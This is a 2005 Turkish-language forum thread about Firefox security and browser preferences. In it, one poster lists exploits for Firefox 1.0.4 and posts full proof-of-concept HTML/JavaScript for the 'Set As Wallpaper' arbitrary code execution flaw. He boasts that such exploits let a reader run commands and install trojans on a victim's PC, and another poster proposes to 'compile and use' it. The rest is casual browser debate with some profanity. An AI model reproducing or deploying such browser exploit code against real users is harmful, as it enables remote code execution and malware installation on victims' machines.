folder Tahribat.com Forumları
linefolder Bilişim Güvenliği
linefolder Firefox Kullanma



Firefox Kullanma

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ir2
    ir2's avatar
    Bilgi/Destek Madalyası Developer Madalyası
    Kayıt Tarihi: 10/Mayıs/2003
    Erkek

    firefoxun opensource olmasının dezavantajlarıda var rahatca exploit geliştirilebiliyor işte en son exploitler;


      12.07.2005 : Mozilla Firefox <= 1.0.4 "Set As Wallpaper" Code Execution Exploit
      12.07.2005 : Mozilla Firefox <= 1.0.4 "data:" URLs Remote Script injection Exploit
      12.07.2005 : Mozilla Firefox <= 1.0.4 "IMG" Elements Code Execution Exploit
      05.07.2005 : Mozilla Firefox <= 1.0.1 GIF Image Handling Heap Overflow Exploit


    bunlarla rahatca <img> tagı ile adamın pc de komut çalıştırabilir trojan yükleme gibi bilimum faaliyetlerde bulunabilirsiniz...

    Reply With Quote Alıntı yap
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ir2
    ir2's avatar
    Bilgi/Destek Madalyası Developer Madalyası
    Kayıt Tarihi: 10/Mayıs/2003
    Erkek

    exloitlerden en güzelinide yayınlıorum


    // Exploit by moz_bug_r_a4
    <?xml version="1.0"?>
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <style>
    IMG {
    display: block;
    width: 96px; height: 96px;
    border: 1px solid #f00;
    /*background-image: url("http://www.mozilla.org/images/mozilla-16.png");*/
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUg
    AAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29md
    HdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHWSURBVHjaYvz//z8DJQAg
    gJiQOe/fv2fv7Oz8rays/N+VkfG/iYnJfyD/1+rVq7ffu3dPFpsBAAHEAHIBCJ85c8bN
    2Nj4vwsDw/8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFElwP
    xf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi/G+QKY4hh5WAXGf8PDQ0FGwJ2
    2d27CjADAAIIrLmjo+MXA9R2kAHvGBA2wwx6B8W7od6CeQcggKCmCEL8bgwx
    YCbUIGTDVkHDBia+CuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBH
    kAlC0Mdy7x9ABNA3obAZXIAa6iKEcGlMVQHwWyjYuL2d4v2cPg8vZswx7gHyAA
    AK7AOif7SAbOqCmn4Ha3AHFsIDtgPq/vLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQ
    g/kdypqCg4H8lUIACnQ/SOBMYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9D
    TAAgDBBCcAVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD+aDAXH0WL
    M4A9MZPXJkJIIAwTAR5pQMalaCABQUULttBGCCAGCnNzgABBgAMJ5THwGvJL
    AAAAABJRU5ErkJggg==");
    }
    </style>
    </head>

    <body>
    <h3>Arbitrary code execution via setWallpaper()</h3>
    <pre>
    1. Right click on the image.
    2. Choose "Set As Wallpaper..." from the context menu.

    A dialog that shows Components.stack will appear.
    </pre>

    <IMG id="i"/>

    <script>
    <![CDATA[
    var sx = navigator.productSub < 20050622 ? 2 : 4;

    // it needs chrome privilege to get |Components.stack|
    var code = "alert('Exploit!\\n\\n' + Components.stack);";
    var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');

    var u = [ "http://www.mozilla.org/images/mozilla-16.png",
    "javascript:eval('" + evalCode + "')" ];

    var sc = 0;
    var i = document.getElementById("i");
    i.addEventListener("contextmenu", function(e) { sc = 0; }, false);
    i.__defineGetter__("src", function() {
    //return (confirm(++sc)) ? u[0] : u[1];
    return (++sc < sx) ? u[0] : u[1];
    });
    ]]>
    </script>

    </body>
    </html>

    Reply With Quote Alıntı yap
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    decameron
    decameron's avatar
    Üstün Hizmet Madalyası Bilgi/Destek Madalyası Savaş Madalyası
    Kayıt Tarihi: 29/Haziran/2003
    Erkek

    Firefox un büyük düşüşü oldu sayılır... Herkesin büyük güveni oluşmuştu , açık kod , güvenli imajları... Alınan ödüller


  4. PC World Product of the Year
    June 2005
  5. PC Magazine Editors’ Choice Award
    May 2005
  6. CNET Editors’ Choice
    Nov 2004

    7. Sonuç.. Karizma sıfır :)

    Etinden korkanın kemiğini sikeyim!
Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    ir2
    ir2's avatar
    Bilgi/Destek Madalyası Developer Madalyası
    Kayıt Tarihi: 10/Mayıs/2003
    Erkek

    bi sonraki versiona düzeltirler ama güvenmiom artık ben :)


    bu arada exploiti kullanmak için az java html bilgisine ihtiyacınız war... base64 lü bölümü decode edin anlarsınız ne olduğunu kodun

    Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    renegadealien
    renegadealien's avatar
    Üstün Hizmet Madalyası Savaş Madalyası Başarı Madalyası Üstün Hizmet Madalyası Developer Madalyası
    Kayıt Tarihi: 23/Mart/2003
    Erkek
    Explorer Rulezz..... Bill Gates abim ie 7 yide yayınlıor nede olsa ;)
    Sanıyorum kendi atasözümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Söyleyeni belli olduğu için(Ben) atasözü değil, özlüsöz oluyormuş, dolayısı ile kendi özlüsözümü yapmış oldum :)
    Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    Antikky
    Antikky's avatar
    Üstün Hizmet Madalyası Üstün Hizmet Madalyası
    Kayıt Tarihi: 01/Mayıs/2003
    Erkek
    Abiler iyi güzel diyorsunuz da,ne spy giriyor nede dialer onuda geç zaten otomatikupdate var yeni versiyon çıktığı anda çat diye indirebilirsin cin ol zamanında indir hiç bir şey olmaz!
    Umursamaz Tavrımın Hastası Olunuz.
    Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    MitNickKevin
    MitNickKevin's avatar
    Kayıt Tarihi: 09/Mart/2004
    Erkek
    En iyisi standart olalanı kullanmak, bu sene yaptığım siteyi internet explorere göre yaptım ondan sonra bitti du bir firefox ile deniyeyim hızlı açılıyormu dedim bir baktım a.k linkler yazı gibi görünüyor, hücrelerin iç kenarlıkları çıkmış, flash'lar kod şeklinde çıkıyor, avatarlar sola kaymış hay dedim böyle tarayıcının a.k...
    Bilgi ceza, Bilgi suç ve Taşımak ağır. Unutmak ise öğrenmekten daha çok zaman alır...
    Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    tagext
    tagext's avatar
    Üstün Hizmet Madalyası Başarı Madalyası
    Kayıt Tarihi: 25/Temmuz/2002
    Erkek
    en kralı opera. rss/xml desteğide var.
    ftw
    Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    UndeaD
    UndeaD's avatar
    Kayıt Tarihi: 28/Eylül/2004
    Erkek
    şşu exploiti bir derliyip kullanalım bakalım :)
    Bırak Şimdi imzayı :)
    Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    JerusaLem
    JerusaLem's avatar
    Savaş Madalyası Developer Madalyası Üstün Hizmet Madalyası Bilgi/Destek Madalyası
    Kayıt Tarihi: 27/Eylül/2002
    Erkek

    http://www.tahribat.com/haberdetay.asp?id=66


     


    Al sana İnternet Explorer..


    Bende yaklaşık 2-3 haftadır test aşamlı Firefox kurdum sistemime.


    İnternet Explorer'dan gayet hızlı. En iyisi hafif olması. IE'eki bir çok gereksiz şey firefox 'da yok.. bunun yerine eklentileri var..


    Eğer sitesindeki eklentilere göz atılacak olursa web developer için de bir çok özellikler var. Cookies editor,Form editor. Link editor vs.


    bence firefox sağ kulvardan çok manyak şekilde geliyor..

    ey ulu TÜRK öğün, eşin yoktur altında göğün..!
    Reply With Quote Alıntı yap
  • KısayolKısayol reportŞikayet pmÖzel Mesaj
    decameron
    decameron's avatar
    Üstün Hizmet Madalyası Bilgi/Destek Madalyası Savaş Madalyası
    Kayıt Tarihi: 29/Haziran/2003
    Erkek
    2 hafta kullandım Firefox u , ilk zaman insan yadırgıyor , IE yada Opera olsun alıştıysa , ama Firefox ada alışan adam için IE kötü geliyor.. Şuan ikiside bence gayet ii , Firefoxde IMG lerin açılışı biraz kötü sadece... Yoksa gayet güzel...
    Etinden korkanın kemiğini sikeyim!
    Reply With Quote Alıntı yap
    • Toplam Hit: 6927 Toplam Mesaj: 13